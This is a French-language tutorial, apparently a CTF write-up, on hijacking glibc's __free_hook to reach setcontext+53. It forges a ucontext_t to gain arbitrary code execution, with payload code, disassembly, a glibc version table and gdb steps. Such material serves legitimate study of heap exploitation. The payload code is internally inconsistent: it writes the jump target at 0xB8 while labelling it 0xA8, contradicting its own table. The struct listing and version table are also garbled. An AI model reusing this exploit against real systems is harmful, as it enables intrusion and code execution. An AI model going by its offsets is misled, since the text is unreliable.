Pour rediriger l'exécution du programme vers setcontext+53 lors de l'appel à free(), il est nécessaire de suivre plusieurs étapes clés :
- Détournement de
__free_hook: On remplace l'adresse de__free_hookpar celle desetcontext+53. - Contrôle du registre
RDI: L'argument defree()(l'adresse de la mémoire à libérer) est stocké dansRDI. Cette adresse doit pointer vers une structureucontext_tfalsifiée. - Construction d'une structure
ucontext_tfalsifiée : On crée une structureucontext_tqui permet de contrôler le flux d'exécution viasetcontext+53.
Détails sur la construction de la structure ucontext_t falsifiée
La structure ucontext_t est utilisée par glibc pour sauvegarder le contexte d'exécution, notamment dans les fonctions comme setcontext et getcontext. En exploitant des vulnérabilités de tas, on peut créer une faussse structure ucontext_t pour détourner le flux d'exécution.
Pourquoi faut-il falsifier ucontext_t ?
Lorsque __free_hook est configuré pour pointer sur setcontext+53, l'appel à free() redirige l'exécution vers cette adresse. La fonction setcontext restaure le contexte d'exécution à partir de la structure ucontext_t. Pour que le programme exécute notre code, nous devons contrôler les valeurs des regsitres tels que RSP et RCX/RIP.
Parties essentielles de la structure ucontext_t
// Structure simplifiée de ucontext_t (x86_64)
struct ucontext_t {
// ... autres champs non pertinents ...
// Offsets importants à partir de 0xA0
void *uc_stack.ss_sp; // Pointeur de pile (RSP sera chargé ici)
void *uc_stack.ss_size; // Taille de la pile
void *uc_link; // Pointeur vers le prochain contexte
// Régions de sauvegarde des registres (uc_mcontext.gregs)
long gregs[23]; // Tableau des registres généraux
// Indices :
// REG_R8 = 0
// REG_R9 = 1
// ...
// REG_RDI = 8
// REG_RSI = 9
// ...
// REG_RIP = 16 // Pointeur d'instruction
// REG_RSP = 19 // Pointeur de pile (réapparaît ici)
};
Construction de la structure falsifiée
# Construction de la structure ucontext_t falsifiée
payload = b''
payload += b'A' * 0xA0 # Remplissage des 0xA0 premiers octets
payload += p64(nouveau_rsp) # [rdi+0xA0] - Nouveau pointeur de pile
payload += b'B' * 8 # uc_stack.ss_size (valeur arbitraire)
payload += b'C' * 8 # uc_link (doit être nul)
payload += p64(adresse_cible) # [rdi+0xA8] - Cible de saut
Explication des offsets
| Offset | Taille | Usage | Registre correspondant |
|---|---|---|---|
| +0xA0 | 8 octets | Nouveau pointeur de pile | RSP |
| +0xA8 | 8 octets | Cible de saut | RCX (via push; ret) |
Pourquoi setcontext+53 nécessite ces offsets ?
Exemple de désassemblage de setcontext+53 (glibc 2.27-2.31) :
setcontext+53:
mov rsp, QWORD PTR [rdi+0xa0] ; Charge le nouveau pointeur de pile
mov rbx, QWORD PTR [rdi+0x80] ; Charge RBX
mov rbp, QWORD PTR [rdi+0x78] ; Charge RBP
mov r12, QWORD PTR [rdi+0x48] ; Charge R12
mov r13, QWORD PTR [rdi+0x50] ; Charge R13
mov r14, QWORD PTR [rdi+0x58] ; Charge R14
mov r15, QWORD PTR [rdi+0x60] ; Charge R15
mov rcx, QWORD PTR [rdi+0xa8] ; Charge RCX (clé!)
push rcx ; Pousse RCX sur la pile
ret ; Saut à l'adresse pointée par RCX
Flux d'exploitation complet
-
Préparation de la structure falsifiée : ```
# Calcul de l'adresse cible cible = base_libc + 0x10a2fc # Exemple one_gadget # Falsification de ucontext_t faux_ctx = b'A'*0xA0 # Remplissage jusqu'à 0xA0 faux_ctx += p64(adresse_pile) # Nouveau pointeur de pile (RSP) faux_ctx += p64(0) # ss_size (arbitraire) faux_ctx += p64(0) # uc_link (doit être nul) faux_ctx += p64(cible) # RCX (cible de saut) -
Écriture de la structure falsifiée : ```
# Écriture de la structure falsifiée dans la mémoire tas ecrire(adresse_bloc_faux, faux_ctx) -
Détournement de
__free_hook: ```setcontext_53 = base_libc + symboles_libc['setcontext'] + 53 ecrire(adresse_free_hook, p64(setcontext_53)) -
Déclenchement de l'exécution : ```
# Libération du bloc de tas contenant la structure falsifiée liberer(adresse_bloc_faux) # Flux d'exécution : liberer(adresse_bloc_faux) → RDI = adresse_bloc_faux → __free_hook(setcontext+53) → RSP = [RDI+0xA0] = adresse_pile RCX = [RDI+0xA8] = cible push RCX; ret → Saut à l'adresse cible
Différences entre les versions de glibc
| Version glibc | Offsets clés | Registre de saut |
|---|---|---|
| 2.27-2.31 | +0xA0 (RSP) +0xA8 (RCX) | RCX |
| 2.32-2.35 | +0x68 (RSP) +0x98 (RDX) | RDX |
| 2.36+ | Reconstruction complète | Nécessite une nouvelle méthode |
Astuces de débogage
Utilisez gdb pour valider :
# Mettre un point d'arrêt sur setcontext+53
b *setcontext+53
# Vérifier les registres après avoir déclenché free
p $rdi # Doit pointer sur la structure falsifiée
x/gx $rdi+0xA0 # Doit afficher adresse_pile
x/gx $rdi+0xA8 # Doit afficher cible
# Exécuter pas à pas jusqu'à ret
ni plusieurs fois
# Vérifier le saut
c # Doit sauter à l'adresse cible
Falsifier la structure ucontext_t est une technique cruciale pour détecter le flux d'exécution en utilisant la fonction setcontext. En contrôlant précisément la disposition de la mémoire, on peut exécuter du code arbitraire.